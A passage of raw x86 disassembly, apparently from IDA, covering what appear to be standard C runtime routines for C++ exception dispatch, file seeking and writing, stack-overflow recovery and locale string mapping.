CODE XREF: sub_425165+B5j cmp esi, [edi] jl short loc_42520E cmp esi, [edi+4] jg short loc_42520E mov eax, [edi+0Ch] mov ecx, [edi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_4251E9 cmp byte ptr [ecx+8], 0 jnz short loc_42520E loc_4251E9: ; CODE XREF: sub_425165+7Cj push [ebp+arg_1C] mov esi, [ebp+arg_4] push [ebp+arg_18] lea ebx, [eax-10h] push [ebp+arg_10] xor ecx, ecx push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_4250FE mov esi, [ebp+arg_14] add esp, 18h loc_42520E: ; CODE XREF: sub_425165+65j ; sub_425165+6Aj ... inc [ebp+var_4] mov eax, [ebp+var_4] add edi, 14h cmp eax, [ebp+var_8] jb short loc_4251C8 pop ebx loc_42521D: ; CODE XREF: sub_425165+60j pop edi pop esi locret_42521F: ; CODE XREF: sub_425165+Ej ; sub_425165+3Aj leave retn sub_425165 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425221 proc near ; CODE XREF: sub_425413+93p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_4] mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_1], 0 mov [ebp+var_1C], eax jl short loc_425241 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_425246 loc_425241: ; CODE XREF: sub_425221+16j ; DATA XREF: seg001:off_4372D8o call sub_4254E2 loc_425246: ; CODE XREF: sub_425221+1Ej push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx], 0E06D7363h push esi push edi jnz loc_4253E8 cmp dword ptr [ebx+10h], 3 mov edi, 19930520h jnz short loc_4252DC mov eax, [ebx+14h] cmp eax, edi jz short loc_425271 cmp eax, 19930521h jnz short loc_4252DC loc_425271: ; CODE XREF: sub_425221+47j cmp dword ptr [ebx+1Ch], 0 jnz short loc_4252DC mov eax, ds:dword_4E2984 test eax, eax jz loc_4253E0 mov esi, eax mov eax, ds:dword_4E2988 push 1 push esi mov [ebp+arg_0], esi mov [ebp+arg_8], eax mov [ebp+var_1], 1 call sub_4281D4 test eax, eax pop ecx pop ecx jnz short loc_4252A8 call sub_4254E2 loc_4252A8: ; CODE XREF: sub_425221+80j cmp dword ptr [esi], 0E06D7363h jnz loc_4253E5 mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_4252D9 mov eax, [eax+14h] cmp eax, edi jz short loc_4252CB cmp eax, 19930521h jnz short loc_4252D9 loc_4252CB: ; CODE XREF: sub_425221+A1j mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jnz short loc_4252D9 call sub_4254E2 loc_4252D9: ; CODE XREF: sub_425221+9Aj ; sub_425221+A8j ... mov ebx, [ebp+arg_0] loc_4252DC: ; CODE XREF: sub_425221+40j ; sub_425221+4Ej ... cmp dword ptr [ebx], 0E06D7363h jnz loc_4253E8 cmp dword ptr [ebx+10h], 3 jnz loc_4253E8 mov eax, [ebx+14h] cmp eax, edi jz short loc_425304 cmp eax, 19930521h jnz loc_4253E8 loc_425304: ; CODE XREF: sub_425221+D6j mov esi, [ebp+var_1C] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_C] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_420131 mov ecx, [ebp+var_C] add esp, 14h cmp ecx, [ebp+var_20] mov [ebp+var_8], eax jnb loc_4253D0 jmp short loc_425332 ; --------------------------------------------------------------------------- loc_42532F: ; CODE XREF: sub_425221+1A9j mov esi, [ebp+var_1C] loc_425332: ; CODE XREF: sub_425221+10Cj cmp [eax], esi jg loc_4253BB cmp esi, [eax+4] jg short loc_4253BB mov ecx, [eax+0Ch] test ecx, ecx mov esi, [eax+10h] mov [ebp+var_18], ecx jle short loc_4253BB loc_42534C: ; CODE XREF: sub_425221+16Ej mov ecx, [ebx+1Ch] mov ecx, [ecx+0Ch] lea edx, [ecx+4] mov ecx, [ecx] test ecx, ecx mov [ebp+var_10], edx mov [ebp+var_14], ecx jle short loc_425385 loc_425361: ; CODE XREF: sub_425221+15Fj mov eax, [ebp+var_10] mov edi, [eax] push dword ptr [ebx+1Ch] mov [ebp+var_24], edi call sub_424C4F test eax, eax pop ecx jnz short loc_425393 dec [ebp+var_14] add [ebp+var_10], 4 cmp [ebp+var_14], eax jg short loc_425361 mov eax, [ebp+var_8] loc_425385: ; CODE XREF: sub_425221+13Ej dec [ebp+var_18] add esi, 10h cmp [ebp+var_18], 0 jg short loc_42534C jmp short loc_4253BB ; --------------------------------------------------------------------------- loc_425393: ; CODE XREF: sub_425221+153j push [ebp+arg_1C] mov edi, [ebp+var_8] push [ebp+arg_18] mov ecx, [ebp+var_24] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push ebx mov ebx, esi mov esi, [ebp+arg_4] call sub_4250FE mov ebx, [ebp+arg_0] add esp, 18h mov eax, edi loc_4253BB: ; CODE XREF: sub_425221+113j ; sub_425221+11Cj ... inc [ebp+var_C] mov ecx, [ebp+var_C] add eax, 14h cmp ecx, [ebp+var_20] mov [ebp+var_8], eax jb loc_42532F loc_4253D0: ; CODE XREF: sub_425221+106j cmp [ebp+arg_14], 0 jz short loc_4253E0 push 1 push ebx call sub_424D74 pop ecx pop ecx loc_4253E0: ; CODE XREF: sub_425221+5Dj ; sub_425221+1B3j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4253E5: ; CODE XREF: sub_425221+8Dj mov ebx, [ebp+arg_0] loc_4253E8: ; CODE XREF: sub_425221+31j ; sub_425221+C1j ... cmp [ebp+arg_14], 0 jnz short loc_42540E push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_1C] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_425165 add esp, 20h jmp short loc_4253E0 ; --------------------------------------------------------------------------- loc_42540E: ; CODE XREF: sub_425221+1CBj jmp sub_4254B5 sub_425221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425413 proc near ; CODE XREF: seg000:0041FF6Ap ; sub_41FFBA+12Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] mov eax, [esi] push edi and eax, 1FFFFFFFh mov edi, 19930520h cmp eax, edi jz short loc_425430 call sub_4254E2 loc_425430: ; CODE XREF: sub_425413+16j mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_425458 cmp dword ptr [esi+4], 0 jz short loc_4254AE cmp [ebp+arg_14], 0 jnz short loc_4254AE push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_424CB7 add esp, 10h jmp short loc_4254AE ; --------------------------------------------------------------------------- loc_425458: ; CODE XREF: sub_425413+24j cmp dword ptr [esi+0Ch], 0 jz short loc_4254AE cmp dword ptr [eax], 0E06D7363h jnz short loc_425492 cmp [eax+14h], edi jbe short loc_425492 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_425492 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_4254B1 ; --------------------------------------------------------------------------- loc_425492: ; CODE XREF: sub_425413+51j ; sub_425413+56j ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_425221 add esp, 20h loc_4254AE: ; CODE XREF: sub_425413+2Aj ; sub_425413+30j ... xor eax, eax inc eax loc_4254B1: ; CODE XREF: sub_425413+7Dj pop edi pop esi pop ebp retn sub_425413 endp ; =============== S U B R O U T I N E ======================================= sub_4254B5 proc near ; CODE XREF: sub_425221:loc_42540Ej ; sub_4254E2+19p ... ; FUNCTION CHUNK AT 00428224 SIZE 00000018 BYTES push 8 push offset dword_439C08 call sub_425F14 mov eax, ds:dword_4E2994 test eax, eax jz short loc_4254DD and dword ptr [ebp-4], 0 call eax jmp short loc_4254D9 ; --------------------------------------------------------------------------- dw 0C033h dd 658BC340h db 0E8h ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4254B5+1Bj or dword ptr [ebp-4], 0FFFFFFFFh loc_4254DD: ; CODE XREF: sub_4254B5+13j jmp loc_428224 sub_4254B5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4254E2 proc near ; CODE XREF: sub_420131+23p ; sub_420131:loc_42019Bp ... push 8 push offset dword_439C18 call sub_425F14 mov eax, ds:off_443A70 test eax, eax jz short loc_42550A and dword ptr [ebp-4], 0 call eax ; sub_4254B5 jmp short loc_425506 ; --------------------------------------------------------------------------- db 33h dd 8BC340C0h db 65h, 0E8h ; --------------------------------------------------------------------------- loc_425506: ; CODE XREF: sub_4254E2+1Bj or dword ptr [ebp-4], 0FFFFFFFFh loc_42550A: ; CODE XREF: sub_4254E2+13j jmp sub_4254B5 sub_4254E2 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425510 proc near ; CODE XREF: sub_420218+45p ; sub_424CB7+62p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_420341 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42554F mov ecx, 2 loc_42554F: ; CODE XREF: sub_425510+38j push ecx call sub_420341 pop ebp pop ecx pop ebx leave retn 0Ch sub_425510 endp ; --------------------------------------------------------------------------- dword_42555C dd 24748B56h, 81068B08h, 6D736338h, 831C75E0h, 75031078h ; DATA XREF: seg002:004437A4o ; seg002:00443A68o dd 14408B16h, 9305203Dh, 3D077419h, 19930521h, 2EE80575h dd 0A1FFFFFFh, 4E2998h, 1474C085h, 2C76E850h, 0C0850000h dd 56097459h, 299815FFh, 2EB004Eh, 0C25EC033h, 5C680004h dd 0FF004255h, 42B18015h, 2998A300h, 0C033004Eh, 9835FFC3h dd 0FF004E29h, 42B18015h db 0, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4255CA(double) sub_4255CA proc near ; CODE XREF: sub_4203C0+7j ; sub_4203C0+38j var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_443A80 call sub_427AA6 fld [ebp+arg_0] pop ecx pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] push ecx and ax, 7FF0h cmp ax, 7FF0h push ecx fstp [esp+18h+var_18] jnz short loc_425650 call sub_427978 test eax, eax pop ecx pop ecx jle short loc_425633 cmp eax, 2 jle short loc_425625 cmp eax, 3 jnz short loc_425633 fld [ebp+arg_0] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] push 0Ch ; int call sub_427833 add esp, 10h jmp short loc_425699 ; --------------------------------------------------------------------------- loc_425625: ; CODE XREF: sub_4255CA+3Fj push esi push ebx call sub_427AA6 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_425699 ; --------------------------------------------------------------------------- loc_425633: ; CODE XREF: sub_4255CA+3Aj ; sub_4255CA+44j fld [ebp+arg_0] push ebx fadd ds:dbl_439B68 sub esp, 10h fstp qword ptr [esp+8] fld [ebp+arg_0] fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_425691 ; --------------------------------------------------------------------------- loc_425650: ; CODE XREF: sub_4255CA+2Fj call sub_42793D fstp [ebp+var_8] fld [ebp+arg_0] pop ecx fld [ebp+var_8] pop ecx fucompp fnstsw ax test ah, 44h jp short loc_425677 loc_425669: ; CODE XREF: sub_4255CA+B0j push esi push ebx call sub_427AA6 fld [ebp+var_8] pop ecx pop ecx jmp short loc_425699 ; --------------------------------------------------------------------------- loc_425677: ; CODE XREF: sub_4255CA+9Dj test bl, 20h jnz short loc_425669 fld [ebp+var_8] push ebx ; int sub esp, 10h fstp qword ptr [esp+8] fld [ebp+arg_0] fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_425691: ; CODE XREF: sub_4255CA+84j call sub_427885 add esp, 1Ch loc_425699: ; CODE XREF: sub_4255CA+59j ; sub_4255CA+67j ... pop esi pop ebx leave retn sub_4255CA endp ; =============== S U B R O U T I N E ======================================= sub_42569D proc near ; CODE XREF: sub_421D41+19Ap ; sub_422124+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] cmp eax, ds:dword_4E2B98 push ebx push esi push edi jnb short loc_425711 mov ecx, eax sar ecx, 5 mov esi, eax and esi, 1Fh lea edi, ds:4E2BA0h[ecx*4] mov ecx, [edi] shl esi, 3 test byte ptr [ecx+esi+4], 1 jz short loc_425711 push eax call sub_42696C cmp eax, 0FFFFFFFFh pop ecx jz short loc_425718 push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call ds:dword_42B0B8 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4256F5 call ds:dword_42B01C ; RtlGetLastWin32Error jmp short loc_4256F7 ; --------------------------------------------------------------------------- loc_4256F5: ; CODE XREF: sub_42569D+4Ej xor eax, eax loc_4256F7: ; CODE XREF: sub_42569D+56j test eax, eax jz short loc_425704 push eax call sub_422C0F pop ecx jmp short loc_425722 ; --------------------------------------------------------------------------- loc_425704: ; CODE XREF: sub_42569D+5Cj mov eax, [edi] lea eax, [eax+esi+4] and byte ptr [eax], 0FDh mov eax, ebx jmp short loc_425725 ; --------------------------------------------------------------------------- loc_425711: ; CODE XREF: sub_42569D+Dj ; sub_42569D+2Aj and ds:dword_4E28F8, 0 loc_425718: ; CODE XREF: sub_42569D+36j mov ds:dword_4E28F4, 9 loc_425722: ; CODE XREF: sub_42569D+65j or eax, 0FFFFFFFFh loc_425725: ; CODE XREF: sub_42569D+72j pop edi pop esi pop ebx retn sub_42569D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] mov esi, [edi+10h] xor ebx, ebx cmp [edi+4], ebx mov [ebp-0Ch], esi jge short loc_425745 mov [edi+4], ebx loc_425745: ; CODE XREF: seg000:00425740j push 1 push ebx push esi call sub_42569D add esp, 0Ch cmp eax, ebx mov [ebp-4], eax jl short loc_4257C2 mov edx, [edi+0Ch] test dx, 108h jnz short loc_42576A sub eax, [edi+4] jmp loc_42587D ; --------------------------------------------------------------------------- loc_42576A: ; CODE XREF: seg000:00425760j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp-8], ebx jz short loc_4257B4 mov edx, esi sar edx, 5 mov edx, ds:dword_4E2BA0[edx*4] mov ebx, esi and ebx, 1Fh test byte ptr [edx+ebx*8+4], 80h jz short loc_4257A6 mov edx, ecx cmp edx, eax jnb short loc_4257A6 loc_425799: ; CODE XREF: seg000:004257A4j cmp byte ptr [edx], 0Ah jnz short loc_4257A1 inc dword ptr [ebp-8] loc_4257A1: ; CODE XREF: seg000:0042579Cj inc edx cmp edx, [edi] jb short loc_425799 loc_4257A6: ; CODE XREF: seg000:00425791j ; seg000:00425797j ... cmp dword ptr [ebp-4], 0 jnz short loc_4257CA mov eax, [ebp-8] jmp loc_42587D ; --------------------------------------------------------------------------- loc_4257B4: ; CODE XREF: seg000:00425779j test dl, dl js short loc_4257A6 mov ds:dword_4E28F4, 16h loc_4257C2: ; CODE XREF: seg000:00425756j or eax, 0FFFFFFFFh jmp loc_42587D ; --------------------------------------------------------------------------- loc_4257CA: ; CODE XREF: seg000:004257AAj test byte ptr [edi+0Ch], 1 jz loc_425875 mov edx, [edi+4] test edx, edx jnz short loc_4257E3 and [ebp-8], edx jmp loc_425875 ; --------------------------------------------------------------------------- loc_4257E3: ; CODE XREF: seg000:004257D9j sub eax, ecx add eax, edx mov [ebp+8], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4E2BA0h[eax*4] mov eax, [ebx] shl esi, 3 test byte ptr [esi+eax+4], 80h jz short loc_42586F push 2 push 0 push dword ptr [ebp-0Ch] call sub_42569D add esp, 0Ch cmp eax, [ebp-4] jnz short loc_425836 mov eax, [edi+8] mov ecx, [ebp+8] add ecx, eax jmp short loc_42582C ; --------------------------------------------------------------------------- loc_425823: ; CODE XREF: seg000:0042582Ej cmp byte ptr [eax], 0Ah jnz short loc_42582B inc dword ptr [ebp+8] loc_42582B: ; CODE XREF: seg000:00425826j inc eax loc_42582C: ; CODE XREF: seg000:00425821j cmp eax, ecx jb short loc_425823 test byte ptr [edi+0Dh], 20h jmp short loc_42586A ; --------------------------------------------------------------------------- loc_425836: ; CODE XREF: seg000:00425817j push 0 push dword ptr [ebp-4] push dword ptr [ebp-0Ch] call sub_42569D mov eax, 200h add esp, 0Ch cmp [ebp+8], eax ja short loc_42585D mov ecx, [edi+0Ch] test cl, 8 jz short loc_42585D test ch, 4 jz short loc_425860 loc_42585D: ; CODE XREF: seg000:0042584Ej ; seg000:00425856j mov eax, [edi+18h] loc_425860: ; CODE XREF: seg000:0042585Bj mov [ebp+8], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_42586A: ; CODE XREF: seg000:00425834j jz short loc_42586F inc dword ptr [ebp+8] loc_42586F: ; CODE XREF: seg000:00425803j ; seg000:loc_42586Aj mov eax, [ebp+8] sub [ebp-4], eax loc_425875: ; CODE XREF: seg000:004257CEj ; seg000:004257DEj mov eax, [ebp-8] mov ecx, [ebp-4] add eax, ecx loc_42587D: ; CODE XREF: seg000:00425765j ; seg000:004257AFj ... pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=39Ch sub_425882 proc near ; CODE XREF: seg000:00420823p ; sub_420FC7+2Cp ... var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-39Ch] sub esp, 41Ch mov ecx, [ebp+39Ch+arg_0] cmp ecx, ds:dword_4E2B98 mov eax, ds:dword_4437D4 push ebx push esi mov [ebp+39Ch+var_4], eax push edi jnb loc_425A48 mov eax, ecx sar eax, 5 lea ebx, ds:4E2BA0h[eax*4] mov eax, [ebx] mov esi, ecx and esi, 1Fh shl esi, 3 mov al, [eax+esi+4] test al, 1 mov [ebp+39Ch+var_41C], ebx jz loc_425A48 xor edi, edi cmp [ebp+39Ch+arg_8], edi mov [ebp+39Ch+var_410], edi mov [ebp+39Ch+var_418], edi jnz short loc_4258EC loc_4258E5: ; CODE XREF: sub_425882+1A9j xor eax, eax jmp loc_425A5C ; --------------------------------------------------------------------------- loc_4258EC: ; CODE XREF: sub_425882+61j test al, 20h jz short loc_4258FD push 2 push edi push edi push ecx call sub_42823C add esp, 10h loc_4258FD: ; CODE XREF: sub_425882+6Cj mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_4259D2 cmp [ebp+39Ch+arg_8], edi mov eax, [ebp+39Ch+arg_4] mov [ebp+39Ch+var_40C], eax mov [ebp+39Ch+arg_0], edi jbe loc_425A19 loc_425926: ; CODE XREF: sub_425882+119j mov ecx, [ebp+39Ch+var_40C] sub ecx, [ebp+39Ch+arg_4] lea eax, [ebp+39Ch+var_408] loc_425932: ; CODE XREF: sub_425882+DBj cmp ecx, [ebp+39Ch+arg_8] jnb short loc_42595F mov edx, [ebp+39Ch+var_40C] inc [ebp+39Ch+var_40C] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_425950 inc [ebp+39Ch+var_418] mov byte ptr [eax], 0Dh inc eax inc edi loc_425950: ; CODE XREF: sub_425882+C4j mov ebx, [ebp+39Ch+var_41C] mov [eax], dl inc eax inc edi cmp edi, 400h jl short loc_425932 loc_42595F: ; CODE XREF: sub_425882+B6j mov edi, eax lea eax, [ebp+39Ch+var_408] sub edi, eax push 0 lea eax, [ebp+39Ch+var_414] push eax push edi lea eax, [ebp+39Ch+var_408] push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_42B084 ; WriteFile test eax, eax jz short loc_42599F mov eax, [ebp+39Ch+var_414] add [ebp+39Ch+var_410], eax cmp eax, edi jl short loc_4259AB mov eax, [ebp+39Ch+var_40C] sub eax, [ebp+39Ch+arg_4] xor edi, edi cmp eax, [ebp+39Ch+arg_8] jb short loc_425926 jmp short loc_4259AD ; --------------------------------------------------------------------------- loc_42599F: ; CODE XREF: sub_425882+FCj call ds:dword_42B01C ; RtlGetLastWin32Error mov [ebp+39Ch+arg_0], eax loc_4259AB: ; CODE XREF: sub_425882+106j xor edi, edi loc_4259AD: ; CODE XREF: sub_425882+11Bj ; sub_425882+179j ... mov eax, [ebp+39Ch+var_410] cmp eax, edi jnz loc_425A43 cmp [ebp+39Ch+arg_0], edi jz short loc_425A19 push 5 pop eax cmp [ebp+39Ch+arg_0], eax jnz short loc_425A0B mov ds:dword_4E28F8, eax jmp short loc_425A4F ; --------------------------------------------------------------------------- loc_4259D2: ; CODE XREF: sub_425882+83j push edi lea ecx, [ebp+39Ch+var_414] push ecx push [ebp+39Ch+arg_8] push [ebp+39Ch+arg_4] push dword ptr [eax] call ds:dword_42B084 ; WriteFile test eax, eax jz short loc_4259FD mov eax, [ebp+39Ch+var_414] mov [ebp+39Ch+arg_0], edi mov [ebp+39Ch+var_410], eax jmp short loc_4259AD ; --------------------------------------------------------------------------- loc_4259FD: ; CODE XREF: sub_425882+16Bj call ds:dword_42B01C ; RtlGetLastWin32Error mov [ebp+39Ch+arg_0], eax jmp short loc_4259AD ; --------------------------------------------------------------------------- loc_425A0B: ; CODE XREF: sub_425882+147j push [ebp+39Ch+arg_0] call sub_422C0F pop ecx jmp short loc_425A59 ; --------------------------------------------------------------------------- loc_425A19: ; CODE XREF: sub_425882+9Ej ; sub_425882+13Cj mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_425A31 mov eax, [ebp+39Ch+arg_4] cmp byte ptr [eax], 1Ah jz loc_4258E5 loc_425A31: ; CODE XREF: sub_425882+19Ej mov ds:dword_4E28F4, 1Ch mov ds:dword_4E28F8, edi jmp short loc_425A59 ; --------------------------------------------------------------------------- loc_425A43: ; CODE XREF: sub_425882+130j sub eax, [ebp+39Ch+var_418] jmp short loc_425A5C ; --------------------------------------------------------------------------- loc_425A48: ; CODE XREF: sub_425882+28j ; sub_425882+4Dj and ds:dword_4E28F8, 0 loc_425A4F: ; CODE XREF: sub_425882+14Ej mov ds:dword_4E28F4, 9 loc_425A59: ; CODE XREF: sub_425882+195j ; sub_425882+1BFj or eax, 0FFFFFFFFh loc_425A5C: ; CODE XREF: sub_425882+65j ; sub_425882+1C4j mov ecx, [ebp+39Ch+var_4] pop edi pop esi pop ebx call sub_422B83 add ebp, 39Ch leave retn sub_425882 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push 4 pop eax call sub_41EA20 mov esi, esp push 1Ch lea eax, [ebp-28h] push eax push esi call ds:dword_42B178 ; VirtualQuery test eax, eax jz short loc_425B0D mov ebx, [ebp-24h] lea eax, [ebp-4Ch] push eax call ds:dword_42B0F4 ; GetSystemInfo mov ecx, [ebp-48h] mov eax, ds:dword_4E2900 lea edi, [ecx-1] not edi and edi, esi sub edi, ecx mov esi, eax dec esi neg esi sbb esi, esi and esi, 0FFFFFFF1h add esi, 11h imul esi, ecx add esi, ebx cmp edi, esi mov [ebp-8], ecx jb short loc_425B0D cmp eax, 1 jz short loc_425B2E mov [ebp-4], ebx mov ebx, 1000h loc_425ADA: ; CODE XREF: seg000:00425AF6j push 1Ch lea eax, [ebp-28h] push eax push dword ptr [ebp-4] call ds:dword_42B178 ; VirtualQuery test eax, eax jz short loc_425B0D mov eax, [ebp-1Ch] add [ebp-4], eax test [ebp-18h], ebx jz short loc_425ADA test byte ptr [ebp-13h], 1 mov eax, [ebp-28h] mov [ebp-4], eax jz short loc_425B09 xor eax, eax inc eax jmp short loc_425B4D ; --------------------------------------------------------------------------- loc_425B09: ; CODE XREF: seg000:00425B02j cmp edi, eax jnb short loc_425B11 loc_425B0D: ; CODE XREF: seg000:00425A94j ; seg000:00425ACBj ... xor eax, eax jmp short loc_425B4D ; --------------------------------------------------------------------------- loc_425B11: ; CODE XREF: seg000:00425B0Bj cmp eax, esi jnb short loc_425B18 mov [ebp-4], esi loc_425B18: ; CODE XREF: seg000:00425B13j push 4 push ebx push dword ptr [ebp-8] push dword ptr [ebp-4] call ds:dword_42B1B8 ; VirtualAlloc mov eax, ds:dword_4E2900 jmp short loc_425B31 ; --------------------------------------------------------------------------- loc_425B2E: ; CODE XREF: seg000:00425AD0j mov [ebp-4], edi loc_425B31: ; CODE XREF: seg000:00425B2Cj dec eax neg eax sbb eax, eax and eax, 103h lea ecx, [ebp-0Ch] push ecx inc eax push eax push dword ptr [ebp-8] push dword ptr [ebp-4] call ds:dword_42B17C ; VirtualProtect loc_425B4D: ; CODE XREF: seg000:00425B07j ; seg000:00425B0Fj lea esp, [ebp-58h] pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_425B55 proc near ; CODE XREF: sub_420B27+9Ep ; sub_422D8A+C5p ... push 38h push offset dword_439C28 call sub_425F14 xor ebx, ebx cmp ds:dword_4E29BC, ebx jnz short loc_425BA3 push ebx push ebx xor esi, esi inc esi push esi push offset dword_439C24 push 100h push ebx call ds:dword_42B170 ; LCMapStringW test eax, eax jz short loc_425B8E mov ds:dword_4E29BC, esi jmp short loc_425BA3 ; --------------------------------------------------------------------------- loc_425B8E: ; CODE XREF: sub_425B55+2Fj call ds:dword_42B01C ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_425BA3 mov ds:dword_4E29BC, 2 loc_425BA3: ; CODE XREF: sub_425B55+14j ; sub_425B55+37j ... cmp [ebp+14h], ebx jle short loc_425BC3 mov ecx, [ebp+14h] mov eax, [ebp+10h] loc_425BAE: ; CODE XREF: sub_425B55+61j dec ecx cmp [eax], bl jz short loc_425BBB inc eax cmp ecx, ebx jnz short loc_425BAE or ecx, 0FFFFFFFFh loc_425BBB: ; CODE XREF: sub_425B55+5Cj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+14h], eax loc_425BC3: ; CODE XREF: sub_425B55+51j mov eax, ds:dword_4E29BC cmp eax, 2 jz loc_425DAD cmp eax, ebx jz loc_425DAD cmp eax, 1 jnz loc_425DE0 xor edi, edi mov [ebp-2Ch], edi mov [ebp-38h], ebx mov [ebp-34h], ebx cmp [ebp+20h], ebx jnz short loc_425BFA mov eax, ds:dword_4E29B4 mov [ebp+20h], eax loc_425BFA: ; CODE XREF: sub_425B55+9Bj push ebx push ebx push dword ptr [ebp+14h] push dword ptr [ebp+10h] xor eax, eax cmp [ebp+24h], ebx setnz al lea eax, ds:1[eax*8] push eax push dword ptr [ebp+20h] call ds:dword_42B07C ; MultiByteToWideChar mov esi, eax mov [ebp-30h], esi cmp esi, ebx jz loc_425DE0 mov dword ptr [ebp-4], 1 lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov eax, esp mov [ebp-1Ch], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_425C66 ; --------------------------------------------------------------------------- db 33h dd 8BC340C0h, 1BE8E865h, 33FFFFFEh, 0E45D89DBh, 0FFFC4D83h dd 8BD47D8Bh db 75h, 0D0h ; --------------------------------------------------------------------------- loc_425C66: ; CODE XREF: sub_425B55+F4j cmp [ebp-1Ch], ebx jnz short loc_425C87 lea eax, [esi+esi] push eax call sub_41E5D3 pop ecx mov [ebp-1Ch], eax cmp eax, ebx jz loc_425DE0 mov dword ptr [ebp-38h], 1 loc_425C87: ; CODE XREF: sub_425B55+114j push esi push dword ptr [ebp-1Ch] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+20h] call ds:dword_42B07C ; MultiByteToWideChar test eax, eax jz loc_425D8A push ebx push ebx push esi push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B170 ; LCMapStringW mov edi, eax mov [ebp-2Ch], edi cmp edi, ebx jz loc_425D8A test byte ptr [ebp+0Dh], 4 jz short loc_425CF6 cmp [ebp+1Ch], ebx jz loc_425D8A cmp edi, [ebp+1Ch] jg loc_425D8A push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push esi push dword ptr 